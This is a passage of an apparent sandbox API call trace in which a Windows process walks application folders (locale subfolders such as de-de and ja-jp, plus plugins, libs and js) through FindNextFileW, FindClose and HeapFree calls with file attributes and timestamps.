	[0184.641] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0184.642] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.642] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0184.642] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.642] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0184.642] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.642] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0184.642] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.642] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0184.642] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.642] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0184.642] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.642] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0184.642] FindClose (in: hFindFile=0x4142898 | out: hFindFile=0x4142898) returned 1
	[0184.642] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0184.643] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0
	[0184.643] FindClose (in: hFindFile=0x4142b18 | out: hFindFile=0x4142b18) returned 1
	[0184.643] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.643] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0
	[0184.643] FindClose (in: hFindFile=0x4142f58 | out: hFindFile=0x4142f58) returned 1
	[0184.643] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0184.644] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1
	[0184.646] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0184.646] FindNextFileW (in: hFindFile=0x4142898, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.2.2", cAlternateFileName="020A5B~1.2")) returned 0
	[0184.646] FindClose (in: hFindFile=0x4142898 | out: hFindFile=0x4142898) returned 1
	[0184.646] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.646] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="require", cAlternateFileName="")) returned 1
	[0184.646] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0184.646] FindNextFileW (in: hFindFile=0x4142dd8, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.1.15", cAlternateFileName="211994~1.15")) returned 0
	[0184.646] FindClose (in: hFindFile=0x4142dd8 | out: hFindFile=0x4142dd8) returned 1
	[0184.646] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.646] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="require", cAlternateFileName="")) returned 0
	[0184.646] FindClose (in: hFindFile=0x4142d98 | out: hFindFile=0x4142d98) returned 1
	[0184.647] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0184.647] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="misc", cAlternateFileName="")) returned 1
	[0184.647] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0184.647] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 1
	[0184.717] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.717] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0184.758] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f00050 | out: hHeap=0x710000) returned 1
	[0184.758] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0184.758] FindClose (in: hFindFile=0x4142fd8 | out: hFindFile=0x4142fd8) returned 1
	[0184.758] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4101058 | out: hHeap=0x710000) returned 1
	[0184.758] FindNextFileW (in: hFindFile=0x4142b98, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0184.758] FindClose (in: hFindFile=0x4142b98 | out: hFindFile=0x4142b98) returned 1
	[0184.758] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0184.758] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0184.759] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.759] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0184.759] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.759] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0184.759] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.759] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0184.759] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.759] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0184.759] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.759] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0184.760] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.760] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0184.760] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.760] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0184.760] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.760] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0184.760] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.760] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0184.760] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.760] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0184.760] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.760] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0184.761] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.761] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0184.761] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.761] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0184.761] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.761] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0184.761] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.761] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0184.761] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.761] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0184.761] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.761] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0184.762] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.762] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0184.762] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
